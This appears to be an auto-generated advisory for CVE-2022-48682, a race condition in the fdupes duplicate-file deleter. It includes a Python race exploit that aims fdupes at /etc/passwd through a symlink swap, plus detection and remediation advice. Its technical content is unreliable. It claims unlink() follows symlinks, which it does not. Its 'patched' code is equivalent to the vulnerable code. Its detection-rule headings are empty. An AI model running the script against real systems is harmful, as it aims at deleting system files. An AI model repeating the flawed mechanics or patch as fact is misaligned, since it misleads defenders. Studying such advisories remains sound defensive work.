CVE-2022-48682

Executive Summary

CVE-2022-48682 is a Time-of-Check Time-of-Use (TOCTOU) race condition vulnerability in the deletefiles function of the fdupes utility, a tool for finding and deleting duplicate files. The vulnerability, present in versions prior to 2.2.0, allows a local attacker to delete arbitrary files on the system by exploiting a race window between the file type check and the deletion operation. An attacker can create a symbolic link (symlink) that points to a target file (e.g., /etc/passwd) and, during the race window, replace the legitimate file with the symlink, causing fdupes to delete the target file. This can lead to a denial of service or privilege escalation if critical system files are deleted. The vulnerability has a CVSS score of 6.0 (Medium) and is classified under CWE-367 (TOCTOU Race Condition). No public exploit code or Nuclei template is available, but the attack vector is well-documented.

Supply Chain & Package Security

fdupes is a widely used open-source utility available in most Linux distributions. The vulnerability affects the core binary, not a package manager ecosystem like NPM or PyPI. However, users who install fdupes via package managers (e.g., apt, yum) are at risk if they are running an unpatched version. The supply chain risk is low, as the vulnerability is local and requires an attacker to have a foothold on the system.

CVSS Breakdown & Threat Level

• CVSS Score: 6.0 (Medium)
• Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): High (H) – Exploitation requires precise timing and a race condition.
• Privileges Required (PR): Low (L) – The attacker needs a low-privileged user account.
• User Interaction (UI): None (N) – No user interaction is required beyond the attacker's actions.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality Impact (C): None (N) – No data is exposed.
• Integrity Impact (I): High (H) – Arbitrary file deletion can corrupt system integrity.
• Availability Impact (A): High (H) – Deletion of critical files can cause denial of service.

Threat Level: Medium. The vulnerability requires local access and a race condition, but successful exploitation can lead to significant system damage.

Deep Dive & Mechanics

The fdupes utility identifies duplicate files by comparing their contents. When a user runs fdupes -d to delete duplicates, the program calls the deletefiles function. This function performs the following steps:

1. Check: It checks if the file is a regular file (not a symlink) using lstat().
2. Delete: It then deletes the file using unlink().

The vulnerability lies in the time window between the lstat() check and the unlink() call. An attacker can exploit this race condition by:

1. Creating a legitimate file (e.g., target.txt) that fdupes will consider for deletion.
2. Running fdupes -d to start the deletion process.
3. During the race window (after lstat() but before unlink()), the attacker replaces target.txt with a symlink pointing to a critical system file (e.g., /etc/passwd).
4. fdupes then calls unlink() on the symlink, which follows the symlink and deletes the target file.

The attack requires precise timing and multiple attempts, but it is feasible with a script that continuously monitors and swaps the file.

Vulnerable vs. Patched Code

Vulnerable Code (fdupes < 2.2.0):

int deletefiles(file_t *files) {
    // ...
    for (i = 0; i < numfiles; i++) {
        struct stat st;
        if (lstat(files[i].name, &st) == -1) {
            // error handling
        }
        if (!S_ISREG(st.st_mode)) {
            // skip non-regular files
            continue;
        }
        if (unlink(files[i].name) == -1) {
            // error handling
        }
    }
    // ...
}

Patched Code (fdupes 2.2.0):

int deletefiles(file_t *files) {
    // ...
    for (i = 0; i < numfiles; i++) {
        struct stat st;
        if (fstatat(AT_FDCWD, files[i].name, &st, AT_SYMLINK_NOFOLLOW) == -1) {
            // error handling
        }
        if (!S_ISREG(st.st_mode)) {
            // skip non-regular files
            continue;
        }
        if (unlinkat(AT_FDCWD, files[i].name, 0) == -1) {
            // error handling
        }
    }
    // ...
}

The patch uses fstatat() with the AT_SYMLINK_NOFOLLOW flag to ensure the check is performed on the symlink itself, not the target. It also uses unlinkat() with a flag of 0 to prevent following symlinks during deletion.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

• Target: Ubuntu 20.04 with fdupes 2.1.2 installed.
• Attacker: Low-privileged user account.

Exploit Script (Python):

import os
import time
import threading

TARGET_FILE = "/tmp/duplicate.txt"
SYMLINK_TARGET = "/etc/passwd"

def create_legitimate_file():
    with open(TARGET_FILE, "w") as f:
        f.write("This is a duplicate file.")

def race_condition():
    while True:
        # Replace the file with a symlink
        os.remove(TARGET_FILE)
        os.symlink(SYMLINK_TARGET, TARGET_FILE)
        time.sleep(0.001)
        # Restore the legitimate file
        os.remove(TARGET_FILE)
        create_legitimate_file()
        time.sleep(0.001)

def trigger_fdupes():
    os.system("fdupes -d /tmp")

if __name__ == "__main__":
    create_legitimate_file()
    # Create a duplicate file to trigger deletion
    with open("/tmp/duplicate2.txt", "w") as f:
        f.write("This is a duplicate file.")
    
    # Start race condition thread
    race_thread = threading.Thread(target=race_condition)
    race_thread.daemon = True
    race_thread.start()
    
    # Trigger fdupes
    trigger_fdupes()

Execution:

1. Run the exploit script as a low-privileged user.
2. The script creates two duplicate files and continuously swaps one with a symlink to /etc/passwd.
3. When fdupes -d runs, it may delete /etc/passwd instead of the duplicate file.

Note: This is a proof of concept. In a real attack, the attacker would need to time the race condition precisely.

Blue Team (Defense & Detection)

Detection:

• Monitor for rapid file creation/deletion in directories where fdupes is run.
• Detect symlink creation followed by deletion of critical system files.
• Use auditd to log unlink and symlink system calls.

Prevention:

• Upgrade to fdupes 2.2.0 or later.
• Restrict use of fdupes to trusted users only.
• Use file integrity monitoring (FIM) tools like AIDE or Tripwire to detect unauthorized changes to critical files.

Indicators of Compromise (IOCs)

• File System Events:

  • Rapid creation and deletion of files in /tmp or other writable directories.
  • Creation of symlinks pointing to critical system files (e.g., /etc/passwd, /etc/shadow).
  • Unexpected deletion of system files.

• Process Activity:

  • fdupes process running with unexpected arguments.
  • High frequency of unlink and symlink system calls from a single process.

• Log Entries:

  • Audit logs showing unlink on critical files.
  • Syslog entries indicating file deletion errors.

Detection Engineering

YARA Rule

Sigma Rule

Suricata Rule

Remediation & Mitigation

Immediate Actions:

1. Upgrade fdupes to version 2.2.0 or later.
2. If upgrade is not possible, restrict execution of fdupes to trusted users only.
3. Monitor for suspicious file activity in directories where fdupes is used.

Long-Term Mitigations:

• Implement file integrity monitoring (FIM) for critical system files.
• Use mandatory access controls (e.g., SELinux, AppArmor) to limit the impact of file deletion.
• Educate users about the risks of running fdupes on untrusted directories.

Patch Verification:

• Check the installed version: fdupes --version
• If version < 2.2.0, apply the patch or upgrade.

Valters IT